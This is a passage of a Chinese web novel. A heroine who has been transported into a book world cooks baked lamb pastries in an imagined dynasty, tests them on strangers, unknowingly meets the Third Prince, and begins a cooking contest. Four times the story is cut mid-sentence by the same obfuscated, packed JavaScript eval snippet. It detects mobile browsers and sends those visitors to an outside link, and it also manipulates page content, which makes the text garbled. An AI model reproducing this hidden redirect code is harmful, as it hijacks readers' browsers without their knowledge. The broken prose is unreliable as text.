苏有青接过叶片，同时接过了一股陌生而辛辣的香气。她咬下一口茱萸叶，细细咀嚼。入口微麻，有些许辣味，然而再嚼却又发苦。 她吐出嚼剩的渣滓，让舌头得到解脱，随即又让老板称些茱萸。 逛了几处菜市下来，苏有青总算略知了这里果蔬的一二。 她来到姬朝已经有些天了，融入这里的生活倒没什么大问题，苏府家大业大的也是吃喝不愁。只是菜品方面和现代有些出入。 论食材，这里的菜都是纯天然的新鲜口感，本味清甜，不似现代好些品种都很寡淡。 然而这里没有那么多花样香料和酱料，苏家膳房里备着的佐料已算种类繁多了。 可能是在吃喝方面有些天赋，苏有青平日里见到原材料就知道要如何搭配，到了这古代却有些犯难。 熟悉食材后，这一天，苏有青又逛上了食肆街市。 才过午时，小摊贩们忙得热火朝天。苏有青时时注意着包菜，生怕二人走散。她从街市两边的白色雾气中穿行，叫卖声也熙熙攘攘地挤进耳朵里。人一多，街都显得窄了。 苏有青站的这头主卖甜食。她尝了碗杏仁酪，虽没有杏仁常见的怪味，但味道还是有些寡淡。包菜倒是吃得津津有味。 又逛了一圈，苏有青没什么胃口，只趁着逛食肆的兴买了几块热气腾腾的糕点。 走到街尽头，这边的吃食便算是看遍了。苏有青正要喊上包菜打道回府，却又闻到了一股油润的香味。 于是她刚要到嘴边的话就变成了：“好香啊，哪里有炙肉吗？” 苏有青顺着香味寻去，拨开层层人群，寻到了一个卖肉串的小摊。 摊贩坐在马扎上，手忙个没停，嘴上还在吆喝：“炙肉串炙肉串，五文一串嘞——” 小贩面前是一个铜烤架。烤架下的火盆里装着透了些白的炭，烤架上躺着嗞啦作响的肉串。时不时有被逼出的几滴油滴进炭盆里，便即刻有红色火苗高高地蹿了起来。它们比食客先一步舔食到肉串，还引得食客一片惊呼。 摊主抓着一把肉串，熟练地在火上翻转。待一面烤出浅褐色，她从瓦罐里捏起一撮盐，稳当地撒上去。白色粉末均匀地铺在肉串上，又多激发出一层香味。 苏有青伸长脖子看向小桌板上的几个瓦罐，除了盐还有几种不认识的深色调料。 苏有青看了好半晌，看到被勾起馋虫。她要来摊主手中的那些串，站在摊边就和包菜分吃了起来。 那几种撒料的味道不重，并没有遮盖住新鲜羊肉的本味，微微的膻气反而增鲜。有几处肉块被烤得焦脆，油香四溢，又紧紧裹住了当中的肉汁。 苏有青吃得尽兴，擦净嘴后又突发奇想。 她转头和包菜说到：“走，我俩再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278929|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去趟肉铺。” 最后一起出现在苏家门口的，是苏有青和包菜，还有包菜手上的一挂羊肉。 姬朝的调料和锅灶对苏有青来说都有些许陌生，只靠想象当然不行。 苏有青直接拎着羊肉去了厨下。 方才的炙肉太香，她正吃着就馋起了另一种“炙法”，多包上一层面皮的烤包子。 苏有青记得苏诣做得一手好烤饼，用的器具是苏火阳亲手砌起的窑炉。她还不熟姬朝的这些炊具，便打算拿烤包子练个手。 苏有青找厨房的仆役要来面粉和陶盆，往盆里加入盐和鸡蛋，又犹豫着用猪油还是菜籽油。 她不习惯偏矮的灶台，和粉的动作有些生硬。边往盆里加温水边用筷子搅和时，苏有青还差点弄翻了盆。幸好今日的面团不需要发酵，不然加上老面又是一个难题。 包菜在一旁围观，觉得自家小姐对锅碗瓢盆的生疏也是意料之中。 和好面团，苏有青把陶盆放到一旁醒发，面前的物件换成了菜刀砧板。 包菜正要让小姐小心些，就对着苏有青的刀法看直了眼。 苏有青手下的刀俎笃笃作响，声音极具节奏又快速。 她熟稔地把羊肉切成小指尖大小的方块，包菜愣愣地问：“小姐，您真的会做饭啊？” 说话根本不影响苏有青的刀。她回答：“那是。就算不常伸手，看也能看会。” 这本是苏诣的猜测，苏有青直接学来了。 苏诣原以为苏有青是自认靠眼睛学会了做饭，于是一时上头想要参赛。苏有青怕多说多错，便接下了这个由头。 苏火阳不管这些，她乐得看小女儿自己摸索着走。 切好肉丁便开始腌制。苏有青已提前在心中盘算过，找来舂把花椒舂成粉末，便有了花椒粉，和盐一起拌进肉里。然而她还是对着这盆肉犯了难。 平日吃的烤包子的馅料里少不了洋葱，一是增香，二是出水多汁。这里却没几种“洋菜”。 苏有青在菜篮里挑挑拣拣，犹豫片刻后将手伸向了篮子深处的青白萝卜。她分出一小块萝卜切作细丝，连逻辑带创新地加进了肉馅里。 再翻翻篮子，苏有青又挑出来一把小葱。于是一份馅料就这么拼凑出来了。 馅料成型时，面团也醒得差不多了。杂役帮忙往窑炉里铲炭火，苏有青揪下一块面团，按扁后扔进了窑炉。 这几天里，苏有青已经学会了看时间。她看了眼漏壶上的刻度，才回到灶台前揉面。 接下来没什么需要细想的地方。苏有青腕间发力，三两下就揉好了那团延展不错的面块。她分出一小块面，擀成扁平的一片，加上馅料又包成一个方形。再在入炉前抹上蛋液便可以了。 “小姐，一刻钟到了——”包菜边喊边跑过来，又被案板上的包子转移了注意，“这馅饼好高啊，像叶子牌的形状。” 苏有青被包菜逗笑，出了灶间去看窑炉。 她掰开那块饼，里面已经熟透，外面也泛了焦糊颜色。按这种火候，烤包子约莫一刻钟再多一小会儿便好了。 苏有青快手快脚地包好了剩下几个包子，盯着刻漏把它们送进了炉。 5. 烤包子（二） 听闻苏有青在厨下大展身手，得了闲的苏火阳和苏诣这会儿也来了后厨。几人说笑两句的功夫里，一刻多钟便打发了去。 苏有青勾开窑炉门，一阵麦子与羊肉混合的香气便扑到了她的脸上。 她小心翼翼地从中拉出烤架，周遭的人都闻着味围了上来。 “好香啊。”包菜第一个发出感慨。 苏有青嘴上让包菜小心着烫，自己却只将手沾了沾水，便拿起了一个包子。 她左右手间盘换几下，感受到包子金黄干脆的外壳，又直接从中“咔嚓”一声掰开。 当中馅料看着没什么颜色，仿佛寡淡无味，闻着却极香。 苏有青轻轻按压，看到溢出的肉汁。她在心中暗自打分，应当至少有“合格”的水平。 刚开炉时的热气已经散去了些，苏有青赶忙招呼大家：“都别光伸着头了，尝尝呀。” 苏火阳接过苏有青递来的包子，小口咬开，眼前一亮，又接着往下咬了口馅料。 她迫不及待地咽下嘴中食物：“好吃啊，怎么想到的搭配？叫什么？” 苏有青嘿嘿一笑：“我就胡乱尝试的，也没想过名字，不如就唤它‘方烤饼’吧。” 她怕被追问为何要称这形状为“包子”，便按姬朝人的习惯取了新名。 苏火阳连连点头：“还挺会试。这羊肉粒里再加点茱萸应当也不错。” 苏诣也吃得直比大拇指。 众人皆是一片好评。有杂役夸道：“果然是苏府的水平。二小姐平时不出手，一出手便是一鸣惊人。” 另有一人也接茬：“是啊，二小姐平时是在养精蓄锐吧。那句话怎么说的来着，‘没吃过猪肉，也见过猪跑’？” 围着窑炉，大家边说笑边尝这新鲜吃食。 苏有青在厨艺方面从不少获夸赞，但现下听到这般热闹声，心中还是被塞得满满当当。 她也尝了一口，和方才等待时想象的味道差不多。然而她亲手调出的味道自然符合自己的口味，只是不确定旁人的喜好。 虽然窑炉前的众人都是赞不绝口，但毕竟是亲近之人，苏有青摸不准有几分可信。 见分食后烤架上还剩着几个包子，苏有青起了新的念头。她吩咐包菜去寻个食盒来。 忙了一下午，眼下正临近黄昏。天边已隐隐泛黄，苏有青趁天还亮，也趁烤包子尚热，利落地捡了几个装进食盒里。 “这是做什么？”苏诣问。 苏有青说：“我去街上再找几个过路人试试味道。这不是快新厨小试了，我想多听听旁人的说法。” 苏火阳也觉得这法子不错，自不会阻拦。苏有青拎着食盒便往外走，包菜伸手想要接过去，苏有青却让她也留在府中。 苏有青想了解当地人的口味，又怕在苏府周边易被人认出，便多穿过了几道街巷。 走到另一个坊市，苏有青瞧见一个正编着竹篾的婶子。她看婶子面善，便站去了婶子旁边。 人流走走停停地从苏有青面前经过，她却对着来往路人张不开嘴，不知该怎么吆喝。 婶子却觉出苏有青表情中的纠结，先一步询问：“妹子是卖什么的？” 苏有青赶忙接住这个透气之处：“婶儿，不是卖，我是来请大家吃馅饼的。” 婶子仿佛不太相信这种天上掉真馅饼的事，脸上写满了质疑。 苏有青继续解释道：“婶儿别不信，我是旁边酒楼里新招的厨子，今天使了些花样，做了种咱们京城没有的方烤饼，想请大家尝尝，提点一下。” 苏有青说着就揭开了盒盖：“婶子试试？” 婶子本欲拒绝。虽然姬朝治安不错，但生人送上门来的东西到底不敢轻易入口。 然而苏有青一打开食盒，婶子便倒戈了。 确实是没见过的模样，闻着倒也香。几番犹豫下，婶子还是没忍住拿起了一块。 这“肉饼”已不似刚出炉的热乎，但婶子仍吃得不住地点头。 “你这后生看着年轻，手艺真是不凡。饼子不错，就是有些硬了，不似肉馒头那般软和。若非我牙口还行，恐怕今天是享不着你这口福咯。”婶子说笑道。 苏有青道：“真是谢谢婶子了，我回头再将这面饼和软些。” 婶子连连摆手：“你这孩子真是太客气了。是我该谢你。” 两人的交谈声还引来了新人。一位富商打扮的人经过这里，被二人的对话绊住了脚。 见来人饶有兴趣，苏有青赶忙递过食盒：“老板尝尝烤饼吗？免费的。我从西域商人那里听来此物，便试着按她们的描述做出了这饼。” 富商大大咧咧地搛起一块尝：“好吃啊姑娘，我估摸你们酒楼推出这道饼后，生意还能更上一层楼！” “谢谢姐！”苏有青被富商的语气逗得直乐。 又有个书生样的人不喜欢，问过馅料后直摇头，说羊肉与萝卜的搭配本该是清炖，并不适宜这种做法。 后有一位衣着朴素的人倒是夸了几句，只是离开前多说了一嘴：“好吃是好吃，可惜少了几分荤腥，最好来点汤水就着一起吃。” 苏有青一一收下诸位的见解。 婶子另一边的商贩却很是不屑。 他已在这里听了好一阵，并不相信那几句好评，也拒绝了苏有青递过来的饼。 “我不用尝都知道，这东西完全是糟蹋了肉。”商贩很自信地靠在蒸笼边。 这干巴巴的饼怎么会有自己做的肉馒头香？也就那编竹篾的婶子说了句中肯话。 但瞧着姑娘年纪也不大，他也不好过多打击，只好将旁的话吞回了肚子里。 苏有青同样照单全收，并不多辩。 刚好盒里只剩一个了，她干脆“收摊”，和婶子道过别后便往苏府方向走去。 走走看看，苏有青又回到了苏府门前的这条街上。 她正准备快快回府，却在迎面见到一个男子后放缓了脚步。 那人五官俊秀却面若冰霜，不似是好说话的。 然而他身着的苍色衣衫实在吸睛。擦肩之时，苏有青瞟见了绸缎上细细绣着的青色云纹。 苏有青想，这般人物一看便知是口味刁钻的，不知能否给自己留下可靠的意见。 她有些犹豫是否要请这人品尝。虽说她动作利索，现下天气也已渐暖，但饼子还是只余温热。 然而来人却先停了下来。他蹙眉看向苏有青：“为何要如此盯着我？” 苏有青没料到此人会突然发问，只好吞吞吐吐地开了口：“我只是......” 她还没想好要如何解释，却注意到男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278930|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后的小厮一脸的如临大敌。 苏有青硬着头皮，边想边说：“在下是附近酒楼的厨子，今日做了些新鲜吃食，便想请诸位试个味。不知是否能有幸得到公子的意见？” 他并未回答，只是追问：“哪个酒楼？” 苏有青回想起方才见过的几个招牌，挑了个稍远些的：“食味酒楼，在旁的坊市。” 得到苏有青的答案后，他沉默良久，最后总算点了点头：“行，我尝尝。” 后面的小厮却有些着急：“主子，这话一听便是假话，谁知道这吃食里加了何物？” 苏有青不服：“怎就认定是假话？刚刚旁人想吃我还没给呢，特意给自己留下最后一个想回去慢慢吃。我看你家主子生得漂亮才忍痛割爱，你怎这般说话？不吃算......” 苏有青还没说完，眼前人就已拿走了食盒里的最后一块方饼。 他细细咀嚼，然后金口玉言般地留下了一句“还行”。 苏有青并不满意仅有两字的回答。她又问：“还有呢？” 他却不知为何，深吸一口气后才再次张开了嘴：“还很......” 然而苏有青还是没能听完他的回答。 “小姐都到了这里，怎么还不回家？主君让我来寻你了。”包菜又迎面跑了过来，“主君今晚做了炖锅呢。” “马上就回了。”苏有青说。 见主仆二人说上了话，男人赶忙别过，快快带着自家小厮走了。 包菜这才注意到走开的男人。她一脸笑意地和苏有青说：“小姐这次总算认识三皇子了。还是聊的春日宴的事吗？” 苏有青僵住了。 她回答不上包菜的问题，只带着空洞的脑子问道：“三皇子怎么这个点在这里？” 包菜有些奇怪：“小姐都和三皇子说着话了，怎么不直接问？” 她又说：“这个点钟从这里路过，可能是想去酒楼吧。听说三皇子近来开了个酒楼，叫什么‘食味酒楼’，就在咱们附近的坊市里。” 苏有青一把抓住了包菜的胳膊：“京城有几个‘食味酒楼’？” “应该就一个吧。”包菜不知小姐为何是这般反应，“想来做生意的也不好重名。” 苏有青不知该怎么说自己现下的飘离感，只知道上次有这种感受是短短七日前、自己来到姬朝的那一日。 几日过去，苏有青本觉得老天奶偏爱自己，就算意外穿书也穿进了一个好世界。她在这里融入得很好，周围的亲近之人也未察觉异样、照常喜爱“苏有青”，不似旁的穿书人总穿成炮灰。 现下她隐隐怀疑，这几日的偏爱是老天在给自己下套，又或者这个三皇子赵往和自己天生不合。 苏有青顿觉心累，默默和包菜一同回家。 - 走出一段路后，赵往回头看向主仆二人的背影。 这苏二小姐行事愈发古灵精怪，叫人琢磨不透。 上次买走她的方子后，赵往要来了城西饼铺原本的配方，又让自家厨子对比一番。 厨子说，那份鬼画符配方看起来更佳，就是不知“黄油”是何物。 奇奇怪怪的。赵往越想越摇头，不知苏二小姐为何总在他面前说怪话。 莫不是喜欢自己吧。赵往突然被口水呛得直咳。 6. 炙松板（一） “主子怎么了！”石头赶忙凑上来关照。 见赵往只是摆摆手，也已停了咳嗽，石头放下心来，继续念叨： “真不明白苏姑娘为何要诓骗主子。要我说主子本该乘车的，也就突然想松松筋骨走几步路，这才撞上了她。虽说我们酒楼前两日才开业，主推酥饼的方子也是她供的，但那也不能叫她轻易攀了关系去......” 话说一半，石头突然又驳了自己：“不对，要是这么论起来，说她是咱们食味酒楼的半个厨子也没错？” 赵往云淡风轻道：“我买的配方，我开的酒楼，关她何事？” “也是。”石头还是和前几日一般的肉痛模样，“那可是整整二两银子。说来主子为何急着让酒楼开业？” 赵往瞪他：“自然是要趁新厨小试的风，还能为何？行了，耽搁了这么久，快些走吧。” 石头闭嘴了。他不懂为何这几日主子生出了格外多的情绪，但他会审时度势。 然而石头还是安静不了太久。没走出两步路，他那碎嘴子又闲不住了：“对了主子，苏姑娘的手艺如何，那方饼好吃吗？” 赵往：“也就那样，远比不上御厨的手艺。” 石头绞尽脑汁地想出夸法：“那肯定，御厨到底是宫里的。不过这饼的模样看着倒新奇。” 赵往依旧面不改色：“谁知道是不是贪懒，随便叠叠便算数。” 石头找不出话了：“那小的帮忙丢了？” 赵往避开了石头伸过来的手：“算了，万一被人瞧见了不太好。” 踏进酒楼前，赵往久久盯着招牌上那四个字。 食肆新开张，有同僚说要来恭贺，赵往便干脆备下了一桌宴席，就在今晚。 然而推杯换盏之时，赵往总心不在焉，面对好酒好菜也没什么心思。 他总思量着石头那几句闲话。 苏二小姐主动提及“食味酒楼”，原来是为了和自己攀关系吗？ 细想过后，赵往越品越觉得在理。毕竟京城里谁人不知这家酒楼的主人便是他。 但再一想，赵往又觉得不妥。 虽说自己确实是一表人才，在京城里也不乏贵家子的追捧。可苏姑娘与他并不相熟，只看皮相会不会有些草率？ 赵往觉得自己得找个机会和她解释一下。 虽说有肴姑娘确实是知味又灵动，但他眼下只想专注于功业，好好辅佐皇姐才是要事。 赵往就这么从酒楼里想回了皇子府中，躺下后还在和顶栅相顾、组织语言，设想该怎么回绝苏二姑娘的心意。 - 望着床架顶的花纹放空思绪时，包菜凑过来打断了苏有青： “小姐这些天又是上街又是做菜的，费了不少气力。小姐早些休息吧，明天便要比试了。” 苏有青闻言翻身，侧过来问蹲在眼前的人：“你觉得我这几日奇怪吗？” 包菜微微歪头，似是在认真思考：“什么算奇怪？小姐近来无非是乐意进膳房，也乐意跟着主君学做几道菜了，并无怪异之举。包菜倒觉得小姐这几日受了不少累。” 苏有青突然有些手痒，没忍住戳了戳包菜的脸颊：“知道了，这就睡。” “小姐又戳我。”包菜嘴上这么说，语气里却无半分不满，只是站起身后照例放下床幔。 不知窗外的虫蛙已叫到了几更天，屋子里安静得只剩苏有青翻来覆去的声响。 自从那日在街上碰见赵往后，苏有青没再出过苏府的大门。这两日，她只在家中四处转悠，再去厨下给苏火阳和苏诣打打下手。 苏有青本意是做些无需过脑的事，也算是休息。 然而人一旦得了清闲便爱多想。这几日里，苏有青又生了些犹疑，不知自己这般大张旗鼓地掺和进新厨小试是否正确、会不会太过惹眼。 在苏有青最初的预想里，她会维持好“女主妹妹”这个人设，混吃混喝直到剧情落幕。后来，她又想帮忙将女主进宫的路铺得平坦些，便主动提出参加新厨小试，意欲占个二三名的位子。 不料苏有青被人激将，又结下了一个赌约。事到如今，她已说不清明日是该韬光养晦还是全力以赴了。 作为一个意外存活的配角，苏有青生出了股失序感。她分明事先看过这个故事，却还是不知道下一炷香的时间里会发生些什么，仿佛被人推着往前走。 苏有青漫无边际地胡乱想象，都忘了自己是从哪里开始发散的。 天边熹微时，苏有青总算睁开了眼，从混乱的思绪中得到解脱。她并未睡实，整夜都是这般似梦非梦的状况。 人却格外地清醒。在小院里闻到带着晨露的风的气息时，苏有青已不想再纠结原本的故事。往前走便是了。 距春日宴已过去十日，新厨小试终于要开始了。 收拾妥当的苏有青准备先去另个院里找苏诣。路过中庭时，她听到门后将要角逐的新厨们正在叽叽喳喳。 她和苏诣从侧门出了府，混进正门外的人堆里，要待苏府开了正门后再和旁人一同去小试的灶房。 二人没候多久，嬷嬷便来开门了：“参与新厨小试的比试者们请随我来。请注意，比试者禁止私自携带食材，仆从请在门外等候。” 苏诣凑到苏有青耳边，低声说道：“少见张嬷嬷这般严肃模样。” 苏有青不太熟悉张嬷嬷，只好干笑两声：“是啊。” 旁边却有人发出一声刻意的冷哼。 表哥转过身来，风度翩翩地夹枪带棒：“表姐这会子快别找表妹说笑了，表妹恐怕已经紧张得迈不开腿，哪里笑得出来。” 苏府门前平日里看着气派，遇到新厨小试时却也不够大。年轻人们正团成团地往前挪，并不惯着表哥的这番风度。 后面被挡道的人轻轻搡了下男人：“杵在这儿不动干嘛。” 苏有青和姐姐相视一眼，笑得很轻松。 新厨小试在苏火阳平日里授课的大灶房里比拼。 这几日，苏有青走过很多次去授课灶房的路，在苏府几个大小灶房中来回溜达，对一路上的草木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278931|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砖瓦本已熟悉。然而夹在人群中往前走时，她仿佛是第一次踏上这条小径。 穿过最后一道月洞门，比试者们进到大灶房的院子里。 院子平日空空荡荡的，今天却在左右两边摆放了不少长几，长几上也是满满当当的各类食材与用具。院子正中，以苏火阳为首的品鉴官们也已站作一排。 “哇，好多东西。”站在苏有青前面的姑娘似乎是第一次来这里，正新奇地四处打量。 表哥不知是想显摆什么，偏要接话：“大些的灶房而已，难道有人没见过吗。” 昔日共同跟着苏火阳学习的同窗却无一人搭理他，只是各聊各的。 “今日这院子里多了好些东西呢。” “是啊是啊，而且我还是第一次从正门走到这里呢。” 苏有青好笑，也兀自玩起了找不同，然后发现角落的池子里也生了变化。 刚回苏府时，苏有青便发现苏家很爱在院子里留一角荷花池。没留心观察的几天里，灶房这方池里的荷叶上似乎已有尖角隐约想要出头。 逐个点过卯，参试者们便渐渐安静，在品鉴官面前站得笔挺。 辰时七刻后，苏火阳轻敲铜锣。 “承蒙各位品鉴官与三十七位新厨的到来，共襄本次新厨小试，我是今日主司苏火阳。还请诸位静听本次比试的规范条例。 “在本次新厨小试中，比试者需在三个时辰内制作出一道色香味俱全的菜品。请注意，三时辰内需完成选菜、做菜、装盘等全部内容。” 苏火阳将锣锤指向一侧，继续说道： “左边的长几上摆放了主食材与案盘，数目与今日参与比试的人数一致。食材与碗碟种类众多，诸位可按需选择，或依自身所长，或有新奇味道，但每人仅可各挑选一种。 “需注意，比试用物由手快者得，但禁止哄抢。如有需求，比试者可在不浪费的范围内向品鉴官索要更多分量的主食材，装盘用碟则不多补。” 参试者们纷纷朝左侧伸长脖子，已有眼尖的在提前思谋一刻钟后要拿何物。 苏火阳并不理会面前纷纭的商议声，只是按原有的声量继续宣读条例。她又指向另一侧： “右手边的长几上为本次比试中可能会用到的调味用物与炊具。在比试过程中，如遇右边用品数量不足，品鉴官会补充种类不定但足数的调料或炊具，还请各位新厨灵活应用。 “同时，品鉴官在补足用具时会刻意避开参试者详细指明的物品。灶房及院中其它工具亦可自由取用，但同样手快者得，严禁争抢。 “以厨会友，胜负为次。比试期间，参试者可友好旁观朋辈技艺，但切勿打扰朋辈，亦不可有所交流。 “此外，比试中如遇其它问题，请向品鉴官寻求帮助。” 宣读完这些条条框框，时间也到了巳时。 站在铜锣旁的小方桌边，苏火阳点燃一只香，插进桌上的香炉里。 她再一次敲响了铜锣： “太平七年新厨小试，正式开始。” 7. 炙松板（二） 铜锣仍在微震，人潮声却盖过了余响。不少人都往左边挤去，急于挑选自己最擅长的菜品。 苏有青还没想好要做什么。顺着人流走向主菜长几后，有人给她让出一处空隙，她便也站在桌边探头探脑，分辨桌上的红白肉类。 相比京城里旁的大小厨艺比拼，新厨小试在姬朝是更为严谨的一档赛事。虽说是要挑选出各方面能力都极为优越的新人庖厨，但新厨小试并不刁钻，只考察新人的真本领。 也因此，来自宫中或京城几大酒楼的品鉴官们并不刻意为难比试者们，也不会精挑细选出罕见食材，主食材无非是在鸡鸭鱼和猪肉牛肉间打转。 例如整鸡便有四五份之多。 苏有青四下打量时，看到摆放家禽的长几前伸出了不少手。表哥也似是心中早有成算，眼疾手快地挤到那几只处理干净的整鸡前，拨开旁人的手拿走了最大的那只。 表哥走后，苏诣接上了那处空位。她似乎是先去右边桌上看过配菜与辅料，这才来了主菜区域，在扫视一圈后胸有成竹地端走了一盘鸭子。 苏有青继续扫视，看到有人拿起又放下了一条鱼，随即又有一红衣女子再次带走了它。 方才点卯时，那红衣女子恰好在苏有青的前一位。苏有青悄悄记住了点卯册上的名字，颜惜禾。 那位在书中未能参试的、一月余前刚过二十岁生辰的颜惜禾。 苏有青收起好奇的心思，视线也落回到渐空的桌面上。 每看向一份食材时，她的脑海里都能即刻蹦出一两道能做成的菜品。然而生出的想法太多，苏有青反而抓不住一个具体的思路。 旁人已三三两两地去挑配料，还围在这边的人也只在两三样菜里纠结。人群散开，苏有青发现长几离自己稍远的那侧还有一个孤零零的盘子。 没人朝那边探望，看来是旁人都排除过的食材。苏有青干脆走过去细瞧，没料到竟是两大块猪肉。 她本有些诧异，五花肉这般做法颇多的食材竟无人多看一眼。 揭开上面那块后，苏有青明白了。 看来膳房备菜时也是费了不少心思的。她有些啼笑皆非。 难怪猪皮都朝上摆着，另一面竟是层带着疙瘩的白色油脂。 但苏有青同样有法子可做，就看什么菜色更容易做出彩了。思考之际，她回头看向剩余的食材，想要权衡一番。 然而这一回头，本还在犹豫的比试者们也果决了。见苏有青站去了那块猪肉前，尚未敲定菜品的几位比试者逮住眼前的盘子，端起就跑。 依着她们的思路，不论选什么肉都比苏有青将面对的那份强。都是富贵人家的小姐小哥，她们平日里连猪头都不会多瞧一眼，更何况那无处下手的猪颈肉。 虽说觉得那位姑娘有些倒楣，但规则既定，她们也无法。说到底这是一场比试，而不是大家凑一起和和美美地做出一桌团圆饭。 然而苏有青猜不出隔桌人的心思，只是有些感谢她们帮自己做出了最后的选择。 苏有青端起颈肉，脑中开始盘旋吃过或见过的各种搭配。 比试里不适宜用太过简易的做法，但这颈肉到底最适合炙烤，看来只能在口味方面多做些功夫； 这里有两块肉，刚好一甜一咸地搭配。至于具体的味道，只能看另一边的长几上都有些什么了。 苏有青不急于调味，仍然沿着左侧案几，先去挑选了摆盘用的器皿。 这头的碟子倒是有挺多剩余，想来是有不少人觉得这一步可以往后缓缓。她想。 不同于挑选食材，这一次，苏有青没再慢慢思索，果断拿走一个高脚铜盘后便去了另一边。 右侧配料区的种类不少，仿佛是搬来了一个小小的菜市。 瞧见紧挨着的青梅和蜂蜜时，苏有青扬了扬眉。 也算是天时地利皆在了。她想。 再往前看两眼，苏有青又多带上一把芫荽与茶叶，便去了灶台前。品鉴官们早已在灶台边备下了刀板和几样必需的调料。 苏有青细看过那两块颈肉的切面。看着挺大一块，实则是连上了下巴，没多少能入口的部分。 她一只手握刀，另只手揪起上面的肥脂，割掉了白花花的表层肉。 右手又往下挪了不到两指节的高度，苏有青平稳行刀，从皮与油间精准地片出一块紧实的精肉。 将多余部分扔去一旁，苏有青倒置刀口，用刀背轻拍颈肉。这步需得精细些，只是微微拍松，并不欲打断颈肉本身的脆弹口感。 随即苏有青又抽出一根筷子，将肉块均匀扎孔后分开放进了两个盆里。 方才挑选配料时，苏有青心中便有了数，打算腌制成蜂蜜味与盐味，再分别配上酸甜与咸辣的蘸料。 她先往其中一个盆里加了几勺蜂蜜，细细抓拌后又撒入毛毛盐。加过酱、醋和蒜末并再一次拌匀后，苏有青暂将蜜味颈肉搁到了一旁。 另一份肉里也是加盐，但要稍多些。思忖片刻后，苏有青怕这肉会有膻臭气，又凭感觉往里加入少许花椒，再将猪肉与洗净的芫荽根拌到一起。 腌制还需不少时间。擦净眼前的台面后，苏有青开始研究蘸料。 她切下一块不知是哪个时节的青梅，毫不犹豫地塞进嘴里试味，却被酸得打了个激灵。 苏有青没料到会被这梅子袭击，味蕾缓过劲后却又是一阵满意。这正是她想要的味道。 苏有青将梅子细细切作颗粒，转头又开始研究甜味。 她不知自己拿来的片糖是哪种糖。敲下一小块尝试甜度后，苏有青找来块粗布包裹住整块片糖，用刀背将其拍碎，又将碎糖倒进小碗中，和酸梅粒拌匀。 咸辣的味碟倒没什么难度。苏有青将盐与花椒茱萸一同研磨，试过两次后便定下了这一碟。 酸梅还需多渍一会儿方能炒作梅酱，苏有青干脆离了灶台，继续去配菜案几上挑拣。 她对着长几遐思，还没想好要如何炙熟颈肉。实在别无它法的话直接铁锅煎熟也成，苏有青相信自己的水准还不至于糊锅，只是觉得可以有更好的口感。 炭烤出的口味也应不错，只是蜜汁肉块中已加过蜂蜜，再用明火来炙反而易焦。盐味肉块则又没必要，方才第一轮取菜时她还拿走了瓦片，准备在炙熟盐味肉块后再用茶叶熏制，炭烤反倒抢睛。 苏有青渐想渐入神，眼皮都不眨一下，直到周遭的声响喊回了她。 她仍站在原地，只是视线顺着声音寻去，看到颜惜禾拎着两把菜刀，左右手同时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278932|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开弓，不知是在剁什么。 再一转头，苏有青又看到隔壁灶的苏诣在往鸭腹里塞小料。 苏有青收回目光，咂了咂嘴。 她记得苏诣在比试中做的是八宝鸭。她没吃过八宝鸭，不过这会儿突然馋烤鸭了。 然而按这里的器具，她顶多能包上一圈黄土、做出个叫花鸭。 思及此，苏有青扬了扬眉。好像还真叫她想出法子了。 正巧有品鉴官路过，苏有青喊住那人，明知故问般地询问：“院内的工具都可以使用吗？” 品鉴官面无表情道过“是。姑娘自便。”便匆匆离开。 厨下有比试者要求添些配菜，他正急着去取。 得到确切答案的苏有青多了一重心安。她直奔向墙角的荷花池，伸直胳膊后接连摘下好几片。 望过四周的布置，苏有青又抓起靠墙放着的铁锹，锹起几铲土送去自己的灶前。 好借好还，再次解决问题的苏有青将铁锹放回原位，路过配料区时瞧见那品鉴官正往桌上放置新取来的配菜，便又顺手带走了刚摆出来的苏子叶。 正忙着的品鉴官一回身，瞧见她手上的铁锹不禁瞠目，却又不置一言。 稍远处，扎堆的品鉴官里有人边往那边看边私语，苏火阳假装听不见。她也不知苏有青想做些什么，心中悄悄打鼓，面上的微笑也有些许僵硬。 